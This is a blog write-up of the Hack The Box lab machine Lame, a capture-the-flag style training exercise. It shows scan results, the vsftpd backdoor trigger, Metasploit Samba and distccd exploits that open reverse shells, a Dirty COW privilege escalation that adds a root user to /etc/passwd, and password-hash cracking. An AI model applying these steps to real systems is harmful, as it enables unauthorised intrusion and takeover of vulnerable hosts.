Lame

  • This is my take (write up) on the HTB machine known as Lame (legacy).

tl;dr (solution)

  • distccd is vulnerable and will pop a low (service) user shell;
  • The kernel is vulnerable to the "dirty cow" exploit;
  • I used the upload command built into the Metasploit reverse shell to upload the .c file to /tmp;
  • I used gcc -pthread cow.c -o dirty -lcrypt to compile to a binary;
  • I executed ./dirty and a new user (firefart) was created in /etc/passwd, for which I set the password using the prompt from ./dirty;
  • I was then able to ssh firefart@$IP and gain a root shell;

Initial Scanning

The obvious first step is to get some intel on the target. We start with nmap, but in the PEH course Heath talks about massscan. It'll be interesting to see how it compares to nmap later on.

$ nmap -A -T4 -p- -Pn 10.129.145.16

I had to use thr -Pn flag because nmap kept seeing the system as down all the time. This might be because I'm using a UDP VPN connection to HTB, but I'd have to test that.

Here are the results I got:

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-02 10:26 AEST
Nmap scan report for 10.129.145.16
Host is up (0.23s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.91
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m23s, deviation: 2h49m44s, median: 21s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-05-01T20:35:22-04:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 538.19 seconds

here is how I broke these down...

vsFTPd 2.3.4

Here we get the following information on this service:

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.91
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status

From this we know a few things:

  • It's running version 2.3.4
  • It allows for anonymous logins

It turned out that the anonymous/anonymous login couldn't see any files and couldn't write them neither. This is odd, because not only does the vsftpd.conf file allow anonymous access, it permits writing via write_enabled=YES. It even has anon_upload_enable=YES as well. I decided I was missing something and moved on for now...

According to research, there is a literal backdoor that was added to vsftpd some time ago (lol!) It was added and removed pretty quickly, but of course it's present in this version due to the nature of the system. However...

Using Metasploit didn't work for me:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.129.145.16:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.129.145.16:21 - USER: 331 Please specify the password.

[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

I was unable to think why this would fail, so I took the manual approach thanks to what was documented here: https://www.hackingtutorials.org/metasploit-tutorials/exploiting-vsftpd-metasploitable/

$ telnet 10.129.145.16 21
Trying 10.129.145.16...
Connected to 10.129.145.16.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass
Connection closed by foreign host.
                                               
$ nmap -p 6200 -Pn 10.129.145.16
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-02 16:55 AEST
Nmap scan report for 10.129.145.16
Host is up.

PORT     STATE    SERVICE
6200/tcp filtered lm-x

Nmap done: 1 IP address (1 host up) scanned in 2.05 seconds

$ telnet 10.129.145.16 6200
Trying 10.129.145.16...

whoami
telnet: Unable to connect to remote host: Connection timed out

So the exploit worked as the port was opened, but for some reason I'm unable to get across to it. I'm unsure why and in the interest of making progress and continuing my studies, I decided not to delve too deeply into this.

OpenSSH 4.7p1

I tend to ignore and leave SSH alone. Password spraying and brute forcing on an option, but given the nature of the system we're attacking (it has other vulns) I just move on to other options.

SMB 3.0.20

This is a very common service, but some basic enumeration yielded... nothing. Using smbclient I was able to get some results from the service...

$ smbclient -L 10.129.145.16        
Enter WORKGROUP\superman's password: 
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk      
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))

Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAME
        

The "oh noes!" comment for the tmp share is a bit of a laugh, but I was unable to make any use of it:

$ smbclient \\\\10.129.145.16\\tmp                                             
Enter WORKGROUP\superman's password: 
Anonymous login successful
Try "help" to get a list of possible commands.

smb: \> put /home/superman/htb-challenges/machines/lame/dirty-cow.c
NT_STATUS_OBJECT_PATH_NOT_FOUND opening remote file \home\superman\htb-challenges\machines\lame\dirty-cow.c
          
smb: \> pwd
Current directory is \\10.129.145.16\tmp\

smb: \> put /home/superman/htb-challenges/machines/lame/dirty-cow.c /tmp/cow.c
NT_STATUS_OBJECT_PATH_NOT_FOUND opening remote file \tmp\cow.c

I even tried cURL:

$ curl --upload-file /home/superman/htb-challenges/machines/lame/dirty-cow.c --user "guest:guest" smb://10.129.145.16/tmp/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (67) Login denied

Perhaps I'm missing something?

Exploiting SMB was actually really simply. There's a reason these particular machines are labelled easy.

A quick bit of searching for smb 3.0.20 yielded an exploit from Rapid7, thus it was already built into Metasploit and the whole thing becomes easy:

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.14.91:4444 
[*] Command shell session 1 opened (10.10.14.91:4444 -> 10.129.145.16:56889) at 2021-05-02 13:19:14 +1000

whoami
root
hostname
lame

THAT easy... and we have root. At this point we have both flags, but this wasn't enough for me. I wanted to hit the final service on the list: distccd.

distccd v1

This is where the fun really began for me.

I found an exploit for distccd, which is a distributed C/C++ compiler, easily enough. A quick Google should see you right. Once I'd executed the exploit I had a shell... but it was a lower user shell. And it was a service account, too.

An important lesson I've learned so far is: try and find as many exploits as you can. Don't just get the flags and run.

So I did just that.

Once I had the user.txt flag, I did some research (I Googled) on "linux privilege escalation". The first piece of advice was "kernel exploitation", so I started there. My research pulled up the "Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)" - what a mouth full.

Using the built in upload functionality of reverse shells that Metasploit creates for us, I was able to get the dirty.c file onto the remote server:

upload dirty.c /tmp/dirty.c
[*] File <dirty.c> size: 5006, need 20 times writes to upload
[*] Uploading (256/5006)
[*] Uploading (512/5006)
[*] Uploading (768/5006)
[*] Uploading (1024/5006)
[*] Uploading (1280/5006)
[*] Uploading (1536/5006)
[*] Uploading (1792/5006)
[*] Uploading (2048/5006)
[*] Uploading (2304/5006)
[*] Uploading (2560/5006)
[*] Uploading (2816/5006)
[*] Uploading (3072/5006)
[*] Uploading (3328/5006)
[*] Uploading (3584/5006)
[*] Uploading (3840/5006)
[*] Uploading (4096/5006)
[*] Uploading (4352/5006)
[*] Uploading (4608/5006)
[*] Uploading (4864/5006)
[*] Uploading (5120/5006)

Next I was able to compile it due to the fact the box had everything needed. This is called "living of the land" and it essentially means using what you have available to you and nothing else.

gcc -pthread dirty.c -o dirty -lcrypt

Then I used the exploit to introduce a new user, firefart (the default) to the system:

./dirty
Please enter the new password: boobies

(... I know. I know.)

After that I could see the new user:

getent passwd
...
firefart:fiTLAWIYH5zPQ:0:0:pwned:/root:/bin/bash
...

And I could SSH into the system, gaining a root shell:

$ ssh firefart@10.129.145.16                                                   firefart@10.129.145.16's password: 
Last login: Sun May  2 01:57:27 2021 from 10.10.14.91
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
firefart@lame:~#

Notes

Although in this post I didn't explore every option, this is because I had already exploited other options on the system before today. What I wanted to document here was the fact I was able to escalate my privileges manually.

I also took a stab at using hashcat on the passwords. From this small exercise I learned of a tool called unshadow that will merge /etc/passwd and /etc/shadow together for you. My execution of hashcat was able to find four of the six hashes that were applicable (that had password hashes.) The findings weren't that useful at this point.

It's also worth noting there are no other IPs on this host so pivoting isn't an option.

I've included a link to my CherryTree notes file for this particular exercise. I hope they're useful.

Michael Crilly

Michael Crilly

A simple nerd.
Brisbane, Australia